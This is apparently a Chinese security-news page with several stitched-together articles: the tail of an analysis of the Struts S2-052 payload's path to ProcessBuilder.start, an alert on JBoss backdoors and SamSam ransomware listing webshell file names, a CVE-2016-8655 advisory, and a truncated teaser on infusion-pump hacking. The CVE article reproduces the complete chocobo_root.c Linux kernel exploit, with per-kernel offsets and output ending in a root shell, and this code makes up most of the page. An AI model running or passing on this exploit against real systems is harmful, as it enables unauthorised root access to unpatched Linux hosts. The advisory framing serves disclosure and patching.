    public final byte[] update(byte[] var1, int var2, int var3) {         this.checkCipherState();         if(var1 != null && var2 >= 0 && var3 <= var1.length - var2 && var3 >= 0) {             this.chooseFirstProvider();             return var3 == 0?null:this.spi.engineUpdate(var1, var2, var3);         } else {             throw new IllegalArgumentException("Bad arguments");         }     }  void chooseFirstProvider() {      if(this.firstService == null && !this.serviceIterator.hasNext()) {           ......           throw;      }      if(this.firstService!=null){          ......      }else{        var3 = (Service)this.serviceIterator.next();        ......      }      ...... } 

    update中var!=null && var2>=0 && var3 <= var1.length - var2 && var3>=0的条件是满足的,调用chooseFirstProvider方法。由于firstService为null, 并且serviceIterator的next是”foo”,因此执行到serviceIterator.next方法,serviceIterator对象如下:

    S2-052从Payload到执行浅析

    public T next() {         if (next == null) {             throw new NoSuchElementException();         }         T o = next;         advance();         return o;     }  private void advance() {         while (iter.hasNext()) {             T elt = iter.next();             if (filter.filter(elt)) {                 next = elt;                 return;             }         }         next = null;     } 

    serviceIterator的next不为空,next方法会执行advance方法,由于iter的next成员不为空,调用iter.next方法,返回值为ProcessBuilder对象,调用filter的filter方法,即ContainsFilter的filter方法,参数为ProcessBuilder对象。

    public boolean filter(Object elt) {     try {         return contains((String[])method.invoke(elt), name);     } catch (Exception e) {         return false;     } } 

    method成员为ProcessBuilder.start方法,elt为ProcessBuilder对象,因此method.invoke(elt)相当于 ProcessBuilder.start() 调用,其中ProcessBuilder为已经构造好要执行的命令的对象,对象内容如下,最终达到命令执行的目的。

    S2-052从Payload到执行浅析

    *

  • 安全预警:JBoss 应用平台后门导致约320万服务器面临威胁 (附检测及利用工具)

    安全预警:JBoss 应用平台后门导致约320万服务器面临威胁 (附检测及利用工具)

    事件的起因在于近期勒索软件事件大量扩散引起了思科安全研究人员的注意,后经其安全研究人员调查分析发现,其中大量案例皆因攻击者利用JBoss Java应用平台存在的漏洞,入侵企业服务器,并将勒索软件散播至所有与服务器连接的客户端上。

    起因:SamSam勒索软件的大肆扩散

    SamSam勒索软件(也被称为Samas),该勒索软件于今年3月中旬被微软公司所发现。而在发现之时,FBI也对所有企业发出告警,关于该勒索软件可利用JBoss上的漏洞对企业的IT基础设备进行感染,提醒企业用户注意检测及防护。

    随后,英特尔和思科,也双双发布报告和技术分析,剖析该勒索软件作者的实现思路,而这显然证实了微软公司和FBI此前发现的可靠性。据分析,SamSam勒索软件的操纵者正是利用公共机构和私营机构中,运行在服务器上的旧版本JBoss平台的漏洞来实现入侵的。

    深入调查分析,发现更多被感染的服务器

    在经过上述初步调查后,思科对JBoss平台漏洞的存在率进行了深入研究调查。

    而从思科的研究表明,目前大约有320万Web服务器运行的是未更新的JBoss版本。利用获取到的部分利用后门后留下的文件,思科也可以扫描出这320万台服务器是否存在后门。

    基于本次搜索,确认了2100台已经被入侵的服务器,这些服务器运行在1600个不同的IP上。一般来说,如果在没发现的情况下,这些服务器就只能等待勒索者传递勒索软件payload,对其实施感染了。

    从被入侵的服务器的情况来看,这些服务器大部分属于学校、政府、航空公司等行业单位的。

    其他后门也陆续被发现

    除了文件被先前的SamSam勒索软件所感染时利用的后门,研究人员称他们还发现了其他“知名”的后门程序,如”mela,” “shellinvoker,” “jbossinvoker,” “zecmd,” “cmd,” “genesis,” “sh3ll” and possibly “Inovkermngrt” 以及“jbot”等。以下为部分可疑后门文件列表,可供研究参考。

    jbossass.jsp jbossass_jsp.class shellinvoker.jsp shellinvoker_jsp.class mela.jsp mela_jsp.class zecmd.jsp zecmd_jsp.class cmd.jsp cmd_jsp.class wstats.jsp wstats_jsp.class idssvc.jsp idssvc_jsp.class iesvc.jsp iesvc_jsp.class

    这些后门的存在表明, SamSam勒索软件背后的操纵者并不是唯一知道并利用JBoss平台漏洞的攻击者。

    在发现这些威胁后,思科开始通知受影响的各方。而在众多的感染案例中,部分受影响的归属于学校的服务器上部署了由一家名为Fellot公司开发的图书馆管理系统(该系统名为“Destiny”,命运),用以对图书馆的资产进行管理,而其中JBoss作为应用平台进行支撑。在此次调查分析的过程中,思科得到了Fellot公司的大力支持,并与之一起完善解决方案。

    据称,Fellot运行着一个最令人印象深刻的修复系统,能够修复他们从版本9到版本13.5的所有系统版本,为他们的用户进行升级,避免JBoss漏洞被利用,甚至在用户的服务器上扫描跟“Destiny”系统无关联的文件,有效发现并清除用户服务器环境的可疑后门。

    后门检测及利用工具

    为了对系统文件进行检测,审查是否存在后门。思科通过一款名为JexBoss的开源渗透测试工具对后门的代码进行跟踪。工具下载地址为:GitHub(注意:检测程序内部可能存在后门,请大家小心分析使用!)

    安全预警:JBoss 应用平台后门导致约320万服务器面临威胁 (附检测及利用工具)

    而后,随着他们的发现,美国计算机安全应急响应中心US-CERT发出了一项全球咨询建议,建议所有的应用系统管理员及时检查自身应用服务器,查看是否存在 webshell。

    *参考来源:softpediasecurityaffairstalosintel,FB小编troy编译,转载请注明来自1024rd黑客与极客(1024rd.COM)

  • 【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

    Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。

    漏洞编号

    CVE-2016-8655

    漏洞概述

    【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

    Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码

    packet_set_ring在创建ring buffer的时候,如果packet版本为TPACKET_V3,则会初始化struct timer_list。在packet_set_ring完成之前,其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除,也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。

    这个BUG最早出现于2011年4月19号的代码中,详细参考:

    https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

    该BUG已经于2016年11月30号被修复,详细参考:

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

    漏洞细节

    要创建AF-PACKET套接字,在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中(Ubuntu、Fedora等),这可以通过未授权进程获取。这个漏洞在容器中即可触发,最终攻陷主机内核。在Android系统中,带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字,并触发该BUG。

    问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt(),就能搞定packet_set_ring()。

    如果packet套接字版本为TPCKET_V3,调用init_prb_bdqc()的时候,packet_set_ring()就会对timer_list对象进行初始化。

    ...

                    switch (po->tp_version) {

                    case TPACKET_V3:

                    /* Transmit path is not supported. We checked

                     * it above but just being paranoid

                     */

                            if (!tx_ring)

                                    init_prb_bdqc(po, rb, pg_vec, req_u);

                            break;

                    default:

                            break;

                    }

    ...

    创建timer的函数流为:

    packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->

    prb_init_blk_timer()->prb_init_blk_timer()->init_timer()

    该套接字关闭时,packet_set_ring()会再度被调用,来释放ring buffer,并删除先前初始化的timer(当packet版本大于TPACKET_V2时):

    ...

            if (closing && (po->tp_version > TPACKET_V2)) {

                    /* Because we don't support block-based V3 on tx-ring */

                    if (!tx_ring)

                            prb_shutdown_retire_blk_timer(po, rb_queue);

            }

    ...

    此处的问题就出在,在init_prb_bdqc()执行之后,packet_set_ring()返回之前,我们可以将packet版本改为TPACKET_V1。

    不过ring buffer被初始化之后,会存在拒绝修改套接字版本的情况,但这也根本不是什么问题:

    ...

            case PACKET_VERSION:

            {

    ...

                    if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)

                            return -EBUSY;

    ...

    在init_prb_bdqc()和packet_set_ring()的交换(rb->pg_vec, pg_vec)调用之间,还是有足够的空间来搞定这条代码路径。

    此时,套接字关闭时,由于套接字版本已经为TPACKET_V1,packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中,调用kfree()就会释放。

    随后timer对象之上就形成了use after free漏洞,可被各种针对SLAB分配器的攻击利用。最终timer过期后,就可导致内核跳转至构建的函数指针。

    在packet_setsockopt()中用lock_sock(sk),同时在packet_set_ring()起始就锁定packet版本即可解决问题。

    新版Ubuntu内核已经放出,用户升级至新版Ubuntu即可解决问题。

    漏洞PoC

    按照发现该漏洞的作者Philip Pettersson所说,漏洞PoC会在明天放出…

    PoC地址:https://www.exploit-db.com/exploits/40871/

    /* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64  vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable..  new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!   stage 1 completed registering new sysctl..  new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won  retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->
    hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!  stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)  *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=  There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4.  tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu  Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee  11/2016 by rebel */  #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <linux/if_packet.h> #include <pthread.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <sys/syscall.h> #include <signal.h> #include <sched.h> #include <sys/utsname.h>  volatile int barrier = 1; volatile int vers_switcher_done = 0;  struct offset {     char *kernel_version;     unsigned long proc_dostring;     unsigned long modprobe_path;     unsigned long register_sysctl_table;     unsigned long set_memory_rw; };   struct offset *off = NULL;  //99% of these offsets haven't actually been tested :)    struct offset offsets[] = {     {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},     {"4.4.0-47-generic #68~14.04.1",0,0,0,0},     {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},     {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},     {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},     {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},     {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},     {"4.2.0-17-generic #21",0,0,0,0},     {"4.2.0-18-generic #22",0,0,0,0},     {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},     {"4.2.0-21-generic #25~14.04.1",0,0,0,0},     {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},     {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},     {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},     {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},     {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},     {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},     {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},     {"4.2.0-23-generic #28",0,0,0,0},     {"4.2.0-25-generic #30",0,0,0,0},     {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},     {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},     {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},     {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},     {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},     {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},     {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},     {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},     {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},     {"4.2.0-25-generic #30~14.04.1",0,0,0,0},     {"4.2.0-23-generic #28~14.04.1",0,0,0,0},     {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},     {"4.4.0-47-generic #68",0,0,0,0},     {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},     {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},     {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},     {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},     {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},     {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},     {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},     {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},     {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},     {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},     {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},     {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},     {"4.8.0-26-generic #28",0,0,0,0},     {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},     {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},     {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},     {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},     {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},     {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},     {"4.2.0-19-generic #23",0,0,0,0},     {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},     {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},     {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},     {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},     {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},     {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},     {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},     {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffff
    ffff81274150,0xffffffff8106b620},     {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},     {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320}, //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},     {NULL,0,0,0,0} };  #define VSYSCALL 0xffffffffff600000  #define PAD 64  int pad_fds[PAD];  struct ctl_table {     const char *procname;     void *data;     int maxlen;     unsigned short mode;     struct ctl_table *child;     void *proc_handler;     void *poll;     void *extra1;     void *extra2; };  #define CONF_RING_FRAMES 1  struct tpacket_req3 tp; int sfd; int mapped = 0;  struct timer_list {     void *next;     void *prev;     unsigned long           expires;     void                    (*function)(unsigned long);     unsigned long           data;     unsigned int                     flags;     int                     slack; };  void *setsockopt_thread(void *arg) {     while(barrier) {     }     setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));      return NULL; }  void *vers_switcher(void *arg) {     int val,x,y;      while(barrier) {}      while(1) {         val = TPACKET_V1;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));          y++;          if(x != 0) break;          val = TPACKET_V3;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));          if(x != 0) break;          y++;     }      fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)/n",x,y,val);     vers_switcher_done = 1;       return NULL; }  #define BUFSIZE 1408 char exploitbuf[BUFSIZE];  void kmalloc(void) {     while(1)         syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2); }   void pad_kmalloc(void) {     int x;      for(x=0; x<PAD; x++)         if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {             fprintf(stderr,"pad_kmalloc() socket error/n");             exit(1);         }  }  int try_exploit(unsigned long func, unsigned long arg, void *verification_func) {     pthread_t setsockopt_thread_thread,a;     int val;     socklen_t l;     struct timer_list *timer;     int fd;     struct tpacket_block_desc *pbd;     int off;     sigset_t set;      sigemptyset(&set);      sigaddset(&set, SIGSEGV);      if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p/n",(void *)func,(void *)arg);      pad_kmalloc();      fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));      if (fd==-1) {         printf("target socket error/n");         exit(1);     }      pad_kmalloc();      fprintf(stderr,"sockets allocated/n");      val = TPACKET_V3;      setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));      tp.tp_block_size = CONF_RING_FRAMES * getpagesize();     tp.tp_block_nr = 1;     tp.tp_frame_size = getpagesize();     tp.tp_frame_nr = CONF_RING_FRAMES;  //try to set the timeout to 10 seconds //the default timeout might still be used though depending on when the race was won     tp.tp_retire_blk_tov = 10000;      sfd = fd;      if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {         fprintf(stderr, "Error creating thread/n");         return 1;     }       pthread_create(&a, NULL, vers_switcher, (void *)NULL);      usleep(200000);      fprintf(stderr,"removing barrier and spraying../n");      memset(exploitbuf,'/x00',BUFSIZE);      timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);     timer->next = 0;     timer->prev = 0;      timer->expires = 4294943360;     timer->function = (void *)func;     timer->data = arg;     timer->flags = 1;     timer->slack = -1;       barrier = 0;      usleep(100000);      while(!vers_switcher_done)usleep(100000);      l = sizeof(val);     getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);      fprintf(stderr,"current packet version = %d/n",val);      pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);       if(pbd == MAP_FAILED) {         fprintf(stderr,"could not map pbd/n");         exit(1);     }      else {         off = pbd->hdr.bh1.offset_to_first_pkt;         fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d/n",off);     }       if(val == TPACKET_V1 && off != 0) {         fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*/n");     }      else {         fprintf(stderr,"race not won/n");         exit(2);     }      munmap(pbd, tp.tp_block_size * tp.tp_block_nr);      pthread_create(&a, NULL, verification_func, (void *)NULL);      fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that./n");     sleep(1);     fprintf(stderr,"closing socket and verifying..");      close(sfd);      kmalloc();      fprintf(stderr,"all messages sent/n");      sleep(31337);     exit(1); }   int verification_result = 0;  void catch_sigsegv(int sig) {     verification_result = 0;     pthread_exit((void *)1); }   void *modify_vsyscall(void *arg) {     unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);     unsigned long x = (unsigned long)arg;      sigset_t set;     sigemptyset(&set);     sigaddset(&set, SIGSEGV);      if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      signal(SIGSEGV, catch_sigsegv);      *vsyscall = 0xdeadbeef+x;      if(*vsyscall == 0xdeadbeef+x) {         fprintf(stderr,"/nvsyscall page altered!/n");         verification_result = 1;         pthread_exit(0);     }      return NULL; }  void verify_stage1(void) {     int x;     pthread_t v_thread;      sleep(5);      for(x=0; x<300; x++) {          pthread_create(&v_thread, NULL, modify_vsyscall, 0);          pthread_join(v_thread, NULL);          if(verification_result == 1) {             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not modify vsyscall/n");      exit(1); }  void verify_stage2(void) {     int x;     struct stat b;      sleep(5);      for(x=0; x<300; x++) {          if(stat("/proc/sys/hack",&b) == 0) {             fprintf(stderr,"/nsysctl added!/n");             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not add sysctl/n");     exit(1);   }  void exploit(unsigned long func, unsigned long arg, void *verification_func) {     int status;     int pid;  retry:      pid = fork();      if(pid == 0) {         try_exploit(func, arg, verification_func);         exit(1);     }      wait(&status);      printf("/n");      if(WEXITSTATUS(status) == 2) {         printf("retrying stage../n");         kill(pid, 9);         sleep(2);         goto retry;     }      else if(WEXITSTATUS(status) != 0) {         printf("something bad happened, aborting exploit attempt/n");         exit(-1);     }        kill(pid, 9); }   void wrapper(void) {     struct ctl_table *c;      fprintf(stderr,"exploit starting/n");     printf("making vsyscall page writable../n/n");      exploit(off->set_memory_rw, VSYSCALL, verify_stage1);      printf("/nstage 1 completed/n");      sleep(5);      printf("registering new sysctl../n/n");      c = (struct ctl_table *)(VSYSCALL+0x850);      memset((char *)(VSYSCALL+0x850), '/x00', 1952);      strcpy((char *)(VSYSCALL+0xf00),"hack");     memcpy((char *)(VSYSCALL+0xe00),"/x01/x00/x00/x00",4);     c->procname = (char *)(VSYSCALL+0xf00);     c->mode = 0666;     c->proc_handler = (void *)(off->proc_dostring);     c->data = (void *)(off->modprobe_path);     c->maxlen=256;     c->extra1 = (void *)(VSYSCALL+0xe00);     c->extra2 = (void *)(VSYSCALL+0xd00);      exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);      printf("stage 2 completed/n"); }  void launch_rootshell(void) {     int fd;     char buf[256];
       struct stat s;       fd = open("/proc/sys/hack",O_WRONLY);      if(fd == -1) {         fprintf(stderr,"could not open /proc/sys/hack/n");         exit(-1);     }      memset(buf,'/x00', 256);      readlink("/proc/self/exe",(char *)&buf,256);      write(fd,buf,strlen(buf)+1);      socket(AF_INET,SOCK_STREAM,132);      if(stat(buf,&s) == 0 && s.st_uid == 0) {         printf("binary executed by kernel, launching rootshell/n");         lseek(fd, 0, SEEK_SET);         write(fd,"/sbin/modprobe",15);         close(fd);         execl(buf,buf,NULL);     }      else         printf("could not create rootshell/n");   }  int main(int argc, char **argv) {     int status, pid;     struct utsname u;     int i, crash = 0;     char buf[512], *f;       if(argc == 2 && !strcmp(argv[1],"crash")) {         crash = 1;     }       if(getuid() == 0 && geteuid() == 0 && !crash) {         chown("/proc/self/exe",0,0);         chmod("/proc/self/exe",06755);         exit(-1);     }      else if(getuid() != 0 && geteuid() == 0 && !crash) {         setresuid(0,0,0);         setresgid(0,0,0);         execl("/bin/bash","bash","-p",NULL);         exit(0);     }      fprintf(stderr,"linux AF_PACKET race condition exploit by rebel/n");      uname(&u);      if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '/0';      snprintf(buf,512,"%s %s",u.release,u.version);      printf("kernel version: %s/n",buf);       for(i=0; offsets[i].kernel_version != NULL; i++) {         if(!strcmp(offsets[i].kernel_version,buf)) {              while(offsets[i].proc_dostring == 0)                 i--;              off = &offsets[i];             break;         }     }      if(crash) {         off = &offsets[0];         off->set_memory_rw = 0xffffffff41414141;     }      if(off) {         printf("proc_dostring = %p/n",(void *)off->proc_dostring);         printf("modprobe_path = %p/n",(void *)off->modprobe_path);         printf("register_sysctl_table = %p/n",(void *)off->register_sysctl_table);         printf("set_memory_rw = %p/n",(void *)off->set_memory_rw);     }      if(!off) {         fprintf(stderr,"i have no offsets for this kernel version../n");         exit(-1);     }      pid = fork();      if(pid == 0) {         if(unshare(CLONE_NEWUSER) != 0)             fprintf(stderr, "failed to create new user namespace/n");          if(unshare(CLONE_NEWNET) != 0)             fprintf(stderr, "failed to create new network namespace/n");          wrapper();         exit(0);     }      waitpid(pid, &status, 0);      launch_rootshell();     return 0; }

    修复方法

    如上所述,各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章讲解了在不重启服务器的情况下,就对Ubuntu Linux内核打上补丁的方案。

    【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

    相关链接

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655

    https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

    https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

    https://www.ubuntu.com/usn/usn-3151-1/

    * 参考来源:Seclists.org,转载请注明来自1024rd.COM

  • 黑客可以远程访问医用注射泵,给你提供致命剂量

    如今,互联网正在融合每个行业,让人们的生活变得智能化的同时,IoT设备的安全性却并没有得到很好的保障。一切设备都可以连接互联网,医疗设备也不例外。黑客也逐渐将视线转入到医疗领域。

    黑客可以远程访问医用注射泵,给你提供致命剂量

